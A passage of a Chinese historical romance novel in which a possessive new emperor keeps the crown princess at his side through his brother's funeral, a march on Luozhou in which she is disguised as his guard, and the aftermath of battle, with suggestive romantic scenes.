“我们现在终于可以在一起了,是不是?”他如同野兽一般喘着气,但却那么温柔地哄着她,“梨花,我不忌讳叫旁人知道,从现在开始,其实我们不用再避人耳目,我恨不得马上叫所有人都知道,你是我的、只能是我的。” 他太过沉重,压得她喘不上来,胸口要裂开,整个人都要裂开了。 “不……”她胡乱地摇头,完全控制不住,眼泪簌簌地掉下来。 这一年的夏季是如此燥热,他身体的温度烫得惊人,结实的肌理、以及热烈的气息,宛如海潮汹涌。她心跳狂乱,喘不上来,几近窒息。 牛皮簟子皱成一团,上面洇开大片暗色的痕迹,此时盛夏,天气是如此炎热,叫人汗水淋漓,怎么也流不尽似的,太热了,要疯掉。 …… 过了很久很久,太久了,以至于傅棠梨起身的时候,脚都站不稳,踉跄了一下,险些没跌倒,她面如丹霞,泪珠缀在睫 毛上,要滴不滴的,恨恨地咕哝了一声:“忒粗鲁。” 声音都是嘶哑的。 赵上钧扶住了她的腰肢,贴着她的耳鬓,轻声道:“就你逞强,不若躺着歇会儿,我给你揉揉,让你舒坦些。” 傅棠梨的心跳得又急又乱,她慌慌张张地推开赵上钧的手,转过身去,重又用男人的那件外袍把自己罩了起来,手脚这会儿还没恢复过来,软绵绵的,酸得很,忍不住又要埋怨他:“你别再闹我,我、我要回去了,这么许多人在外头,看着呢,倘若一个不留神,叫人发现我在这里,我还怎么见人?” 她匆匆举步,却又被赵上钧抓住了手臂。 “你回哪里去?”赵上钧喘息未定,语气温柔,但傅棠梨却听出了其中山雨欲来的架势。 不管回哪儿,总之不能留在赵上钧的帐中,若叫旁人不小心瞧见了,那算什么呢?但她犹豫了一下,本能地觉得,这个问题,还是不要回答为好,她低了眉眼,一滴儿泪珠恰好掉下来,看过去可怜极了。 赵上钧微笑起来,汹涌的火焰还在他的眼眸中燃烧,此时跃动着黑色的光泽,显得有些扭曲:“别去赵元嘉那儿,我已经说过了,再也不许你和他同在一处,若不然,我会当场杀了他!原先的时候,你一次又一次抛弃我,我无能,无话可说,但现在不行,谁也不能忤逆我。” 他把傅棠梨的身体扳过来,把她眼角的泪珠舔掉,轻轻的,说不出是哄她,还是在威胁她:“从今往后,你只能在我身边,别的任何男人,最好连看都不能看你一眼,梨花,你只能是我的,这毋庸置疑。” 傅棠梨咬着嘴唇,那上面还印着他啃咬过的痕迹,湿漉漉的,透出一点潮红,她赌气起来,恼道:“那你觉得我要如何?昭告天下,说太子一旦失势,我就迫不及待要弃了他,转投你的怀抱吗?” 她抬眼,飞快地瞥了他一下,又把目光转走了:“旁人会如何看待我?礼义廉耻、道德良心,这些就算统统不要了,我的脸面还是要的,你是至高无上的帝王,无所畏惧,但我不行,我担不起这个骂名,我也不想担。” 她总是这样,说起大道理来冠冕堂皇,屡屡拒他于千里之外,片刻前的缠绵的温度还是滚烫的,而她,已经拾起衣裳不认人了。 何其可恨。 好在赵上钧已经习惯了,对于她,他总是有着无限的耐心:“我自然考虑过,我已经将你我的出路谋划了个十全十美,只眼下战时,局势险峻,尚不容我施行,你等我一些时日。”他忽又笑了起来,声音有些沙哑,“其实我已经忍了够久,梨花,我早知道你矫情,顾及这个、顾及那个,唯独不顾及我,好吧,我为自己都打算好了,半点不用你操心。” 这些言语很见不得人,不能再谈论下去了,傅棠梨心惊胆战的,又一次推开他,把袍子拉低了一些,遮住自己的脸,含含糊糊地道:“就依你说的,日后再议,如今这光景,终究名不正言不顺的,我、我要走了。” 只说“要走”,不说“回去”二字。 赵上钧面上浮出一丝浅浅的笑意,没有再拦住她。 傅棠梨拔腿就走,脚步还在打颤。 —————————— 先前一通闹腾的,这会儿,已经差不多到了晌午,烈日愈炽,宛如白昼之焰。 巨大的海东青从天空掠过,发出凶狠的鹰鸣声,远处,成群的战马不耐地刨动着蹄子,“呼哧呼哧”的响鼻声又闷又沉,将士们来回奔跑着,偶尔有兵器碰触在一起,铿锵作响,空气中弥漫着烽火欲燃的味道。 傅棠梨从玄甲军主帅大帐出来,守护在门前的士兵眼观鼻,鼻观心,当作没看到她,她还是觉得羞愧,用袍子把脸捂得紧紧的,就露出眼睛一条缝,特意绕到营帐后方,看看四下无人,赶紧低了头,飞快地走开。 她一口气走出了百十丈,这才停下,腰肢和腿脚都还泛着酸痛,由不得又在心里骂了赵上钧一句,喘了几下,把袍子从身上扯下,本待扔了,想了想,左右张望了一下,又犹犹豫豫地收住,理了一下,团巴团巴,依旧抱在怀里。 如今,她也不知道要去哪里了,东宫那边,说实话,不想回去,虽则面子要紧,但对着赵元嘉那么一个蠢才,实在是晦气,可是,傅家也没有她的容身之处,这么一想,心里头顿时一片茫然。 正举步不定之际,却见前方营帐旁走出一群宫人,为首的却是个熟人,高宫正。 傅棠梨心里一跳,做贼心虚,脸“刷”地一下红了。 但高宫正神态自若,她直直地迎上傅棠梨,俯身致意:“圣上有旨,命诸位王爷、王妃及公主等,前往殡宫吊唁先帝,太子妃请随我来。” 这不是明摆着从大帐那边一路跟着过来的吗? 傅棠梨心里直打鼓,面上不动声色,顺手把赵上钧的那件袍子交到高宫正手里,强做淡定:“高姑姑请带路。” 高宫正笑了一下,接过袍子,恭敬地捧在手中,往前领路。 元延帝驾崩于出逃路上,仓促之间,没有任何准备,连帝王梓宫都是当场从林中伐木、命随行的少府监和将作监官员带领士兵临时赶制,堪堪打造完成,这才将元延帝移了进去。 殡宫设于王帐,白幡高悬,只容皇族宗亲入内哭灵,王帐之外另设灵棚,命文武百官跪拜。 傅棠梨到的时候,恰好看见侍从抬着昏迷不醒的赵元嘉从殡宫出来,后头跟着王宪,板着一张脸,手里拎着一根黑黢黢的鞭子。 高宫正轻描淡写地对太子妃解释了一句:“先帝崩,太子哀伤过甚,啼哭不止,方才晕过去了。” 很显然,赵上钧那句“不许你和他同在一处”并不只是说说而已,也不知道赵元嘉是哭晕过去,还是被打晕过去了。 傅棠梨心里紧了一下,面上不敢露出端倪,保持着镇定的神色,走进殡宫。 诸王侯及王妃、诸公主及驸马等,都已经到了,换了孝服,正在元延帝灵前哀哀哭泣,安王站在一侧,以宗正寺卿及王叔的身份主持丧仪,见太子妃至,即叫太子妃过来立于最前方,这原是太子作为嫡长子的位置,此刻太子不在,太子妃持宗妇礼,暂代太子之责。 虽则太子妃姗姗来迟,但此时众人皆知太子处境,又闻太子妃祖父及父亲被免除官职,其父更是被当众杖责,旁观者莫不唏嘘,而眼下太子妃双目通红,面上露出虚弱之态,俨然困于穷途之状,几位皇子及公主皆生恻隐之心,倒也不曾想到其他。 傅棠梨强忍着身子的不适,点香,三拜九顿首,礼节工整,仪态端方,如同往日,无可指摘。 少顷,侍从报:“圣上驾到。” 铁甲武士入,持长戟候两侧,赵上钧至,众人欲跪,赵上钧抬手止:“今为大兄哀,汝等皆吾子侄,不须跪。” 他只是不想叫傅棠梨跪他。 这其实与国礼不符,但皇帝这么说了,自然没人会去反驳他,连安王都是只是摇了摇头,没有说话。 高宫正进前,捧上素色衣袍。赵上钧看了傅棠梨一眼,傅棠梨低着头,与众人等列,连眼睛都不敢抬起。 赵上钧披上素袍,到元延帝灵前立定,点起三支香,合十捧香,看着上面的梓宫,目光复杂。 新木将伐,未及上漆,白惨惨的一副棺柩,出行中不得冰块,遂以香料填满其中,龙涎、沉香、白木檀、羯布罗等,重重堆砌,异香浓烈,似生烟絮,在帐中逶迤盘转,叫人深陷其中,黏腻不能自拔。 赵上钧沉默良久,敛了眉目间的肃杀,对着上首一拜,平静地道:“大兄对五郎有养育之恩,五郎不敢忘,今大兄去,兄之儿女在此,若彼等不生异心、不起他念,五郎必予善待,食邑俸禄一日如大兄在日,绝无简慢。以此告大兄,泉下弗忧患。” 此言一发,在场的皇子与公主们如释重负,好似死里逃生,失声大哭,比方才更多了几分真情实意,皇族宗亲们各皆松了一口气。 赵上钧言罢,敬了香,一撩衣摆,朝元延帝的灵位庄重地跪了下去,以首叩地。 皇帝下跪,臣下本应同礼,但他之前亲口御言,“不须跪”,后面的皇子、公主及郡王等人就很为难,膝盖要弯不弯的,战战兢兢。 幸而赵上钧叩首三下后,发话了:“汝等且去,吾为大兄守灵。” 皇族宗亲们喏喏应是,弓着腰,鱼贯退出。 傅棠梨原是在最前,这下变成最后,她转身欲行,步子还没迈出去,裙裾被人勾住了。 她扯了几下,纹丝不动,她有些着急,低头怒视赵上钧。 赵上钧端端正正地跪着,目不斜视,只是伸出了一根手指而已。 众人皆是胆战心惊、自顾不暇,大约……应该……没人会注意到她吧。 傅棠梨咬牙,又扯了一下,险些把裙裾扯破,眼看着最后的安王都走了出去,殡宫的门帘垂了下来。 赵上钧松了手,直起身子,改了姿势,盘腿坐下,将紫金燎炉拖到面前,没有抬眼,用平常的语气道:“梨花,把楮钱拿过来,我替大兄烧些。” 傅棠梨从他手里挣脱出来,本待躲避出去,才踏前一步,听赵上钧这么一说,又停下,犹豫了一下,看了他几眼,回头从祭案上取了一叠楮钱,递给他,自己在他身边坐了下来。 门外隐约有哭声悲泣,吵 吵嚷嚷,人多得很,各自惶惶,应该无人注意她的去向。 /:. 赵上钧默不作声,将一张张贴着金箔的楮钱丢入燎炉。楮钱在火光中卷曲、枯萎、慢慢化成焦灰,灰白色的烟絮升起,糅杂着帐中浓郁的香气,似青山云雾,飘上帐顶,再往上,归于虚无。 “我有点难过。”在这四下无人之际,他的声音低低的,像是自语,也像是只说给傅棠梨一个人听,“大兄性子一向软弱,我没有想到他这次会这么硬气,宁愿去死……” 傅棠梨没有说话,默默地一起烧着楮钱。这种情形下,显然说什么都不太合宜。 “大兄做不了这个皇帝,凭白占着这个位置有什么意思呢,我让他做太上皇,我会和从前一样敬重他,我以为这样对大家都好,没想到……”赵上钧好似思量了一下,慢慢地,重复了一遍前面的话,“其实,我还是有点难过的。” 傅棠梨忍不住问他:“那若让你再选一次,你还会做出同样的决断吗?” “当然会。”男人的神情淡漠,没有任何波澜,“权势如焰,动人心魄,我亦不能免俗,坐上那个位置,任何人都不能违逆我,我想要的……” 他的目光转了过来,望着她,他的眼眸映着跃动的火光,如同亘古化成的琥珀,深邃而浓郁,“必须得到。” 沉重的香味严严实实地覆盖了殡宫,混合着楮钱燃烧的烟火气,压得人胸口发闷。 傅棠梨呼吸骤紧,她有点冲动,想要问他,这个中缘由,是否因她而起?但话到临头,又有狂妄之嫌,不宜宣之于口,只能咬着嘴唇,低下头去,将楮钱捏成皱巴巴的一团,在手指间揉来揉去。 赵上钧仿佛看穿了她的心思,他笑了一下,伸手过来,将那张楮钱从她手里抠出来,丢入燎炉,顺便摸了摸她的头顶,他近来很喜这个动作,他比她高了许多,做起来得心应手,好像可以把她完全掌控在手心里。 “我只能这么做,你应该明白。”他的声音沉稳,只说了这么一句,一切不言而喻。 她的心狂乱地鼓动着,差点要突破胸腔跳出来,无法和他对视,只能慌乱地把脸转开了,心中五味杂陈,又不知该说什么,半晌,叹息一声。 第69章 第69章战火如荼,春水如斯 稍后,已过午,宫人奉了饭食与羹汤进,因先帝大行,上下皆素食,赵上钧亦然。 傅棠梨这半天历经了这么一堆乱糟糟的事情,又处殡宫中,没有半点胃口,喝了一碗参汤就差不多了。她本待出去,却被赵上钧拉着不放。 “大兄只能在此停灵半日,我要守着他,梨花,你陪我。”他如是说道。 傅棠梨只能依旧坐着。 帐中烟雾袅袅,风不动,白幡亦不动。 赵上钧继续烧着楮钱。 傅棠梨看了他半晌,忽然幽幽地道:“你方才说,先帝的子女,你都会善待他们,一应如从前,是真是假?” 赵上钧眼也不抬:“君子一言九鼎,况帝王乎。” “那、太子呢,也是一样吗?”傅棠梨犹豫了一下,还是多问了一句。 赵上钧的嘴角勾了一下,大约是个笑,却流露出森冷的煞气:“首先,梨花,别在我面前提他,如果你不想叫他马上就死的话。” 傅棠梨马上做了一个噤声的动作,表示不说了。 赵上钧这才接下去:“其次,我说话向来作数,不论是对元嘉还是对其他子侄。”他吐字缓慢,说到这个的时候,带着一种令人毛骨悚然的温柔,“只要他肯安分守己就好,我保证。” 傅棠梨疑心他有未尽之言,但她不敢再说,总之,只要赵元嘉能活命就好,她也算仁至义尽了,多余的,也不想管他了。 她回过头来,看着燎炉中燃烧的火焰和堆叠起来的纸灰,又有些感慨,轻声道:“真是世事难料,年初的时候还好好的,安乐顺遂,我们……”她说到这里,突然发现不妥,迟疑了一下,含含糊糊地跳过这节,叹道,“不过短短数月时间,竟发生了这许多事情,离乱颠沛,叫人应接不暇,如今这般光景,也不知几时才能回得长安、几时才能重过太平日子。” 赵上钧听及此处,朝傅棠梨勾了勾手指。 傅棠梨不明所以,略一犹豫,还是凑了过去。 谁知道他竟然屈起手指,在她额头上弹了一下。 “嘶”,傅棠梨吃疼,捂住额头,恼火地瞪他。 “那不是你自讨的?”赵上钧似笑非笑,“早和你说过,你先在永寿养病,待到岁末就差不多,万事安定,偏你多疑,硬要找出破绽来,抛了我,回宫里头去,你看,吃了多少苦?再则,我两次叫你跟我走,你又不肯,如今可知我的话都是真的吧。” “你说得轻巧,当那场景,我还能怎的?”傅棠梨揉了揉额头,把脸转开,“怎么能依你说的做?眼下,那就更不妥当了,外头多少人看着,你是不在乎的,但我呢?”她终究不敢再提及赵元嘉的名字,但她说得十分明白,“甫患难,见弃于中道,我的……” “我知道。”赵上钧截断了她的话,“你的良心、你的脸面、或者还有你的名声,都不能丢。”他叹了一口气,替她下了结论:“思来想去,只有我是可以暂时扔一边的。” 傅棠梨居然点了点头,试图说服他:“你心志刚硬,无坚不摧,这种事情于你恰如清风拂面、不损分毫,还是得先顾着我这头才好。更何况,如今你坐拥山河万里,怎能拘泥于这小情小爱?君为天下主,当量天下事,若困于私念,大不相宜。” 赵上钧被她气过一次又一次,如今已经能够泰然处之,闻言不过一笑:“多谢你,很为我着想。” 他显然没有听进去,干脆一伸手,把她揽过来,按住她的脑袋,让她靠在自己的肩膀上:“闭嘴,不许再说了。我从没见过像你这般矫情的女郎,生平只有两样不可,这不可、那不可,恼人得很。” 傅棠梨挣扎了一下,没有挣脱,有些脸红起来,因他说了“闭嘴”,她又不好再啰嗦,只小声地嘀咕了一句,模模糊糊的。 赵上钧臂弯收紧,拍了拍傅棠梨,他的语气刚毅而温存,“好了,我明白你的心思,你无需忧虑,我会把一切都处置妥当,不令你为难、也不令你受半分委屈,梨花,相信我。” 他的肩膀那么宽阔、又那么结实,带着盛夏的温度,还有他的味道,熟悉的白梅花和乌木的香气,靠在这里,似乎足以遮蔽所有的风雨。 傅棠梨忽然就不知道该说什么才好了,她的声音变得小小的,很柔软,咕哝着,说了这么一句:“我不信。” 或许是抱怨,又或许……只是撒娇而已。 说不清楚。 外头玄甲军的将士们正励食厉兵,陈而待敌,远处传来此起彼伏的马蹄声,混合着士兵高亢的呼喝,躁动而不安。长陵坡起了风,卷起门帘,在帐子里转了一圈儿,幡都动了,搅着青烟如飞絮,灰烬零散,杳杳袅袅,把人缠绕其中。 傅棠梨有些乏了,她一宿没睡好,绷着一根弦,方才又被赵上钧强拖着胡天胡地了一番,早已经疲倦不堪,此时一下子松懈下来,把脑袋耷拉在他肩膀处,有些撑不住,一点一点地闭上了眼睛。 他的身体很热。 …… 傅棠梨醒来的时候,已经回到玄甲军的主帅大帐中,她卧在湘竹簟的地榻上,身上搭着一袭轻薄的绫罗毯,十二折的羊皮山水屏风竖在榻旁,权且当作床幔,案头上点着一炉琥珀松香,气息清洌,令人安宁。 她翻身坐起。 赵上钧听到动静,推开屏风:“这时候醒了,正好,我们该出发了。” 他已经穿上了一身戎装,龙鳞甲片层叠相扣,泛着冰冷的寒光,犀牛皮束带衔住虎面护甲,腰部的 轮廓劲窄而刚健,肩部盘踞着飞翼兽吞,饕餮做怒目仰天状,其状狰狞,愈发衬得他身形高大如山岳。 高宫正捧来了水盆及巾帕,侍奉傅棠梨洗面。 傅棠梨匆匆抓起巾帕,抹了一把脸,问道:“要拔营了吗?” 赵上钧点头:“不错,徐州的兵马已经到了,护送大兄的灵柩去奉安,百官随行,西宁伯世子掉头迎战追兵,而我,将绕道北邙山,取洛州,梨花,你得跟着我一起走。” 傅棠梨的手顿了一下,微微皱眉:“韩家大表兄,要迎战李颜?他行吗?” 赵上钧取出一方帕子,拔出腰间的佩刀,擦拭着,语气淡淡的:“梨花,别在我面前提别的男人,我不喜欢听。” 傅棠梨叹气:“说正经事呢。” 赵上钧这才道:“去岁夏,我将玄甲军人马拆分为二,半数留于北庭,大兄与李颜皆谓我战损,由此戒备松懈,一个月前,我已命孙澄率此部人马进攻范阳,李颜后院失火,补给中断,必然要率其嫡系人马返身去救,子琛所敌,乃涿州刺史郑从经,他们将在武城原相遇,郑从经擅水战,子琛率骑兵,擅平原战,应能胜任。” 他丢开帕子,“锵”的一声,插刀还鞘,掠过一丝血影:“若不能,我也无需这等庸才。” 傅棠梨嗫嚅欲言:“那……” 赵上钧看了傅棠梨一眼,不动声色地接下去,“哦,对了,我命太子为监军,与子琛同赴武城原,此际二人已然出发。你还有什么要问的吗?” 赵元嘉手无缚鸡之力,所谓监军,大抵只是挂个名头,打发得远远的,可怜他这一路不知要受韩子琛多少奚落。 傅棠梨摇了摇头,按下这节,转而好声好气地和赵上钧商量:“如此说来,你成竹在胸,运筹帷幄,我也不用担心什么,我还是去奉安吧,你们行军作战,我一个弱质女流跟着算什么,还要劳你沿途为我操心,实在不合宜。” “我去哪里,你就去哪里,一刻都不能分离。”赵上钧的声音很温和,但其中的意味俨然不容违逆,“梨花,你可以选,自己走,还是我把你打晕了带上。” 傅棠梨满心不乐意,嘀嘀咕咕:“说谁矫情呢,谁都比不上你,闲来无事,让我去奉安过几天清静日子不成吗?我觉得你大抵是存心的,非要为难我,烦得很。” 高宫正抿着嘴笑,捧来了一套衣裳放在傅棠梨面前,退了出去。 赵上钧指了指,道:“男装,换上。”,他言罢,又拉起屏风,自己避到外面。 傅棠梨口中虽抱怨,动作却十分干脆利索,不过三两下,就把衣裳换好了,先用宽布条把胸部勒住,换上那套寻常士卒的服饰,再覆一层轻薄的皮甲胄,略嫌热,也不是不能忍。 只是头发不好打理,她的头发长而浓密,抓在手里,满满的一捧,帐中没有梳妆镜,她梳了几下,总不得章法,扭头对外面道:“帮我找把剪子过来,我把头发裁短些,若不然,容易叫人看出破绽来。” “别剪。”赵上钧从屏风外走进来,“多漂亮的头发,当时你去北庭,剪得那么短,实在可惜,如今好容易又留长了,别再糟蹋它。” 他绕到傅棠梨的背后,拿过她手里的梳子,挽起她的长发:“我来。” 赵上钧形体高硕,比傅棠梨高了一个头,他说话的时候,气息喷在她的头顶,温热而潮湿,如同这夏季拂来的风,他的手指在她的发丝间滑动,那种感觉传递到脊椎,有点酥、也有点麻。 傅棠梨觉得脸上发烫,不太敢乱动,低下了头,咕咕哝哝的:“我什么时候去过北庭?我去那里做什么?为什么要把头发给剪了?奇奇怪怪的。” “如果我说,你曾经为了我,什么都不顾,千里奔赴战场,陪我同生共死,你信不信?”赵上钧贴在她的耳鬓边,低低地说道。 “那不能的。”傅棠梨一阵心虚,下意识地反驳,“我怎么会做那种傻事呢?” 赵上钧笑了起来,顺手在她脑壳上轻轻敲了一下:“不错,你就是个傻瓜啊,还不认。” 他把傅棠梨的长发盘成一个高髻,扎好发带,又把她的身子扳过来,从案上取了一罐土灰,往她脸上涂抹:“记得,从现在开始,你是我的贴身亲卫,渭州西宁伯府的韩二郎,喏,面皮太白净可不行,藏着点,我的小梨花不能轻易叫外人看了去。” 额头上抹一把,脸颊上抹一把,鼻尖上还要抹一把,怪痒痒的。 傅棠梨皱了一下鼻子:“行吧,你说什么就是什么,总之,我拗不过你的,嗳,别涂了,脏得要命。” 鼻子皱起来的模样也很动人,赵上钧亲了亲她的鼻子,又笑了一下,转身大步走了出去。 傅棠梨赶紧跟上。 出了大帐,玄甲军的将领们皆簇拥了过来,齐齐躬身:“一切皆已就绪,恭候陛下。” 庄敬捧上兜鍪,赵上钧戴上,狻猊飞翼的盔沿低低地压了下来,在日光下形成浓郁的阴影,眉眼掩于明与暗的交界处,如剑在鞘中将出,煞气逼人。 左右牵来两匹马,一匹纯黑,身覆铁甲,高健如龙虎,一匹粉白,色若桃花,皮光似珍珠,神骏天成。 赵上钧指着那匹粉马,对傅棠梨道:“这是你的小桃花。” 这马儿漂亮得像是从画中踏出来似的,傅棠梨欣喜地上前摸了摸:“小桃花?这谁给起的名儿,可真肉麻。” 但小桃花自己显然对这个名字是满意的,它听见傅棠梨唤它,弯下脖子,用鼻子碰了碰她的手,认出了她的味道,亲昵地蹭了两下。 赵上钧上了马,环顾四周,左右皆肃穆,他慢慢地抬起手,做了个手势。 庄敬倏然大喝:“陛下有令,三军开拔。” 悠长的号角声响起,雄壮而悠长,穿透山野。 彼时,天色微沉,而黄昏未至,斜阳悬于远山之巅,山风起,乱卷飞霞破长空,一片赤血,黑底金字的大纛在风中张扬,猎猎如弦鸣。 大军从长陵坡向北进发,士兵的脚步声和马蹄声混合在一起,轰轰隆隆,如同滚动的雷声,振动了大地,受惊的走兽从林中奔出,被马蹄踏为肉泥,成群的鸟雀窜上天空,扑簌乱飞。 远远的,一只海东青掠过云空,倏然长鸣。 —————————— 傅棠梨独坐于帐中。 此时,夜幕已经降临,外面偶尔有一两声马鸣,很快就被捂住了,营地里烛火不照,一片漆黑,只主帅的幄帐里点一盏孤灯,用羊皮罩子半掩着,恰如夏日萤虫,没于暗色。 玄甲军经过十四日昼夜疾行,过伊水、经阳翟县、绕北邙山,逼近洛州,眼下正驻扎于洛州南面的永通,距洛州城不过五里地。 洛州富庶,兵强马壮,城池固若金汤,这个节骨眼上,刺史王永敬正率部追随李颜征战,并不在城中,但其麾下守城的兵马依旧戒备森严,不容小觑。 赵上钧意图以首战震慑李颜,定下速战速决之策,拟夜袭洛州城,眼下,玄甲军将士们弓上弦、剑出鞘,严阵以待军令。赵上钧出去了,大约是往营地各处巡视。 又是一个不眠之夜。 数日来,傅棠梨跟着赵上钧一路行军,早已经疲惫不堪,这会儿,赵上钧不在身边,她身处军营,终究有些不安,手支着颐,靠在案边,头一点一点地打着盹儿,却不敢睡着。 门帘动了一下,周围很安静,赵上钧走进来的时候,腰间的横刀与铠甲相碰撞,发出冷硬的铿锵声,有几分令人心惊,但他的手里却捧着一个碗,和他这一身肃杀之气显得格格不入。 傅棠梨揉了揉眼睛:“我还以为你今晚不回来了。” 赵上钧俯下身,将碗递过来,里面盛着黑乎乎的汤药。 他看着傅棠梨,目光温和:“本来打算出去,刚刚收到师父给你开的药,叫人加急从咸阳送过来的,正好今儿晚上赶上,还来得及熬好,趁热喝吧。” 药汤热气腾腾,熟悉的苦味扑鼻而来。 傅棠梨嫌弃地皱了皱鼻子:“不想喝这个。” 赵上钧笑了一下:“这么久了,你的失魂症不见半点好转,再拖着下去,我都替你心急,别怕苦,糖都给你备好了,来。” 她素来怕苦,如今更是一点都吃不得,嘟嘟囔囔着道:“不想喝,记不起来就罢了,有什么要紧的,你何必执念,非得叫我吃这个苦?” 赵上钧沉默了片刻,把药碗放下了:“好,那便罢了,你且歇着吧,我今晚要出去一趟。” 他说罢,起身走了。 他的声音淡淡的,似乎不见得有什么情绪,但傅棠梨的心却猛地跳了一下,急急追了出去,在帐门口抓住了他的手:“玄衍,怎么了?我说错什么了吗?” 赵上钧叹了一口气,转过身,抱住她,把下巴搁在她的头顶,蹭了蹭,恨恨地道:“记不起来,有什么要紧?当然要紧!你骗过我,一次又一次,很多次,若记不起来,我都不能和你生气了。” 傅棠梨听得要笑,不知怎的,又觉得有些心酸,她反手抱住他,轻轻地拍着他的背,温柔地哄他:“好了、好了,知道了,下次我一定好好喝药,你可别气了。” 赵上钧板着脸,“哼”了一声,敲了敲傅棠梨的脑袋:“抬头。” 傅棠梨抬起脸,眼巴巴地望着他。 他的手指落在她的嘴唇上,点了一下:“张嘴。” 傅棠梨犹豫了一下,朱唇轻启,张开一条缝。 小小的、圆圆的东西被塞进口中,甜蜜的味道从舌尖弥漫开,玫瑰花味的,还带着松仁的清香,是一个糖果粒儿。 男人的手指在她的唇上摩挲了一下,指腹的触感宛如烈日暴晒过的砂砾,粗糙而炙热,令她背脊有些发软。 他的声音低了下去:“嗯,好吧,不用心急,你怕苦,就不喝药了,吃糖就好,记不起来就记不起来,终归有我替你记得,有什么要紧呢。” 说罢,他转身便离去了。 少顷,远远的,响起了三声尖锐的唿哨,整个军营开始动了起来,大纛融入黑暗中,完全看不见,只能听见呼呼的风声卷了起来,马蹄裹着麻木,战马疾驰而去,发出的动静是沉闷,士兵们疾步奔跑着,兵刃不停地掠过寒光,如同飞溅起来的冰屑。一切都是无声的。 玫瑰糖粒儿的味道是芬芳的、馥郁的,甜得滴到心里头,傅棠梨却心生惘然,她站在营帐中,抬起脸,望向远方。 什么都看不真切,铁马金戈的煞气覆盖了夜色,月光迷离,被马蹄踏碎了。 夜袭洛州。 —————————— 这一场战打了一天两夜,待到第三日,天色破晓时,赵上钧才回来。 兵马回营的声音很明显,和去时截然不同,马蹄由远及近,轰轰隆隆,战马发出咴咴的嘶鸣,和将士们的喧闹声混杂在一起,吵的很。 留守在营中的士兵跑了起来,一起大声呼喊:“陛下、陛下回来了。” 傅棠梨掀开门帘,迎了出去。 在滚滚铁骑的最前方,赵上钧策马而来,黑色的大纛在他身后招展,夏日的第一道阳光落下来,直直地照着他,他如同从水墨里破出,回到尘世的白昼中,带着一身淋漓的血腥气。 他看见了傅棠梨,远远地望了过来,目光如利剑,突然从马上跳了下来,朝这边大步走来,他边走边脱下了兜鍪,仰起脸,甩了甩头,汗水和血水混合在一起飞洒开,如同凶猛的、刚刚捕猎归来的野兽。 傅棠梨想起了他说的那句话:“你骗过我,一次又一次,很多次。” 这谁敢啊,不要命了吗?她摸了摸鼻子,想要缩回幄帐中。 “二郎。”赵上钧却叫住了她,“过来,服侍我沐浴更衣。” 谁?服侍他沐浴更衣?傅棠梨挑了挑眉毛,指了指自己。 赵上钧已走到面前,随手将兜鍪丢给身后的卫兵,他的脸上沾满血迹,看不出什么表情,语气显得沉稳自然:“我的肩膀受伤了,手臂不宜举动,你是我的贴身亲卫,难道不该服侍我吗?” 他的铠甲上凝固着一团团暗红色的污渍,不知道是自己的、还是别人的,看过去怪吓人的。 立即有士兵过来,在主帅幄帐后方搭了个棚子,四面挂上粗麻为垂帘,权作遮挡之意,搬了一个大桶,打了水过来,又退下了。 赵上钧进了棚子,动手卸甲,黑色玄铁的铠甲部件一样一样地落在地上,发出沉重的、令人心惊的“哐当”声,当他卸下肩头兽吞时,动作停滞了一下,轻轻地抽了一口气。 “二郎。”他又唤了一声。 傅棠梨本来杵在门边,半挑着帘子,犹犹豫豫、要进不进的,见状,只能硬着头皮跟了进去:“来了。” 他的铠甲很重,上面或许还沾了什么人的残肉或者脑浆,手抓过去,粘稠而滑腻,几乎叫人作呕。饕餮兽吞的犄角被斩断了半截,傅棠梨把它脱下来的时候,指尖都染红了,她又有些心疼起来,想去摸一摸他:“伤得重吗?还疼吗?” 赵上钧难得不愿和傅棠梨亲近,他用手指抵住她的额头:“脏得很,别碰,待我洗了再说。” “矫情。”傅棠梨嘀咕了一句。 铠甲卸除,里面的衣裳被汗和血水浸透了,湿漉漉的一片,不待傅棠梨伸手,赵上钧已经不耐,抓住领口,一把撕下了上衣。 他的动作过于利索,傅棠梨的手停在半空中,还没来得及反应,男人精壮而强健的躯体,赫然映入她的眼帘。 夏日的热气扑面而来,明晃晃的阳光照耀着,毫无遮挡,小麦色的肌肤上,汗和血珠子一起流淌下来,雄性的气息,充满着铁锈的味道和野兽的腥膻,令人毛骨悚然、又面红耳赤。 他又扯开了袴带。 傅棠梨脸颊滚烫,心跳如擂鼓,脑瓜子嗡嗡地响,好似有一群蜜蜂围着她转来转去,把她都转晕了,她赶紧背过身去,心里直念“福生无良天尊”,一眼都不敢多看。 他好像“哼”了一声,声音很轻,听不出是否不悦,或者是……其他的什么意思。 裤子落到地上,发出一点“扑簌”的声响。 傅棠梨觉得头顶要冒烟了,支支吾吾的:“你自己洗吧,我也没做过这事儿,手脚不麻利,你要嫌我的。” 赵上钧没有回答。 少顷,身后传来“哗啦”的水声。 傅棠梨偷偷挪动脚步。 “我不嫌你,二郎,过来,为我搓头发。”赵上钧的声音从身后沉稳地传来。 傅棠梨迟疑了一下,没的推脱,收住脚步,慢吞吞地转过去。 他微微侧着身,一片阴影越过他垒块分明的背部,他的肩膀极宽,腰身却窄,自上而下,几乎形成一个倒悬的三角形状,而再往下…… 打住,不能再往下了!这大白天的,格外触目惊心。 他已经舀了水,把自己从头到脚的血污冲了一遍,这会儿头发湿淋淋地搭在背上,他左边的肩部有一道很深的伤口,撕开的血肉裸露着,水流下来,还透着淡淡的粉色,这显然阻止了他把左手抬起来。 傅棠梨不敢看得太仔细,她慢慢挪到赵上钧的身后,努力地踮起脚,捧起他的头发,为他清理。 他的头发很浓密,握在手里,充满了韧弹的触感,她取了香胰子,打出细碎的沫子,抹在他的头上,用水过了一遍,再打出沫子,手指在发丝间穿过,轻柔地转着圈儿,仔细地揉搓着。 外头稍远的地方,士兵们还在大声喧闹着,吵吵嚷嚷,战马喷着响鼻,偶尔发出嘶鸣声,太阳升高了,阳光越发耀眼,肆无忌惮地照耀着这一小方空间,一切无所遮掩、无所隐匿。 “喂。”傅棠梨一边为他洗头,一边嘟囔着道,“我总觉得你心里有事,好像还是和我在怄气的情形,我告诉你啊 ,不许再这样,再这样我不搭理你了。” 赵上钧忽然回过身来,吓了傅棠梨一跳。 “你快转过去,不成体统。”她的脸红得要滴出血来,慌张地缩回手来,下意识地想要捂住眼睛。 “看着我。”赵上钧抓住了她的手腕,拉过来,贴在自己的心口。 “我怎么会和你生气呢。”他低声这么说道,“梨花,我曾经立过誓,终我一生,哪怕你亏欠我千百次,我也绝不会怪你,我一直都记得这个誓言。” 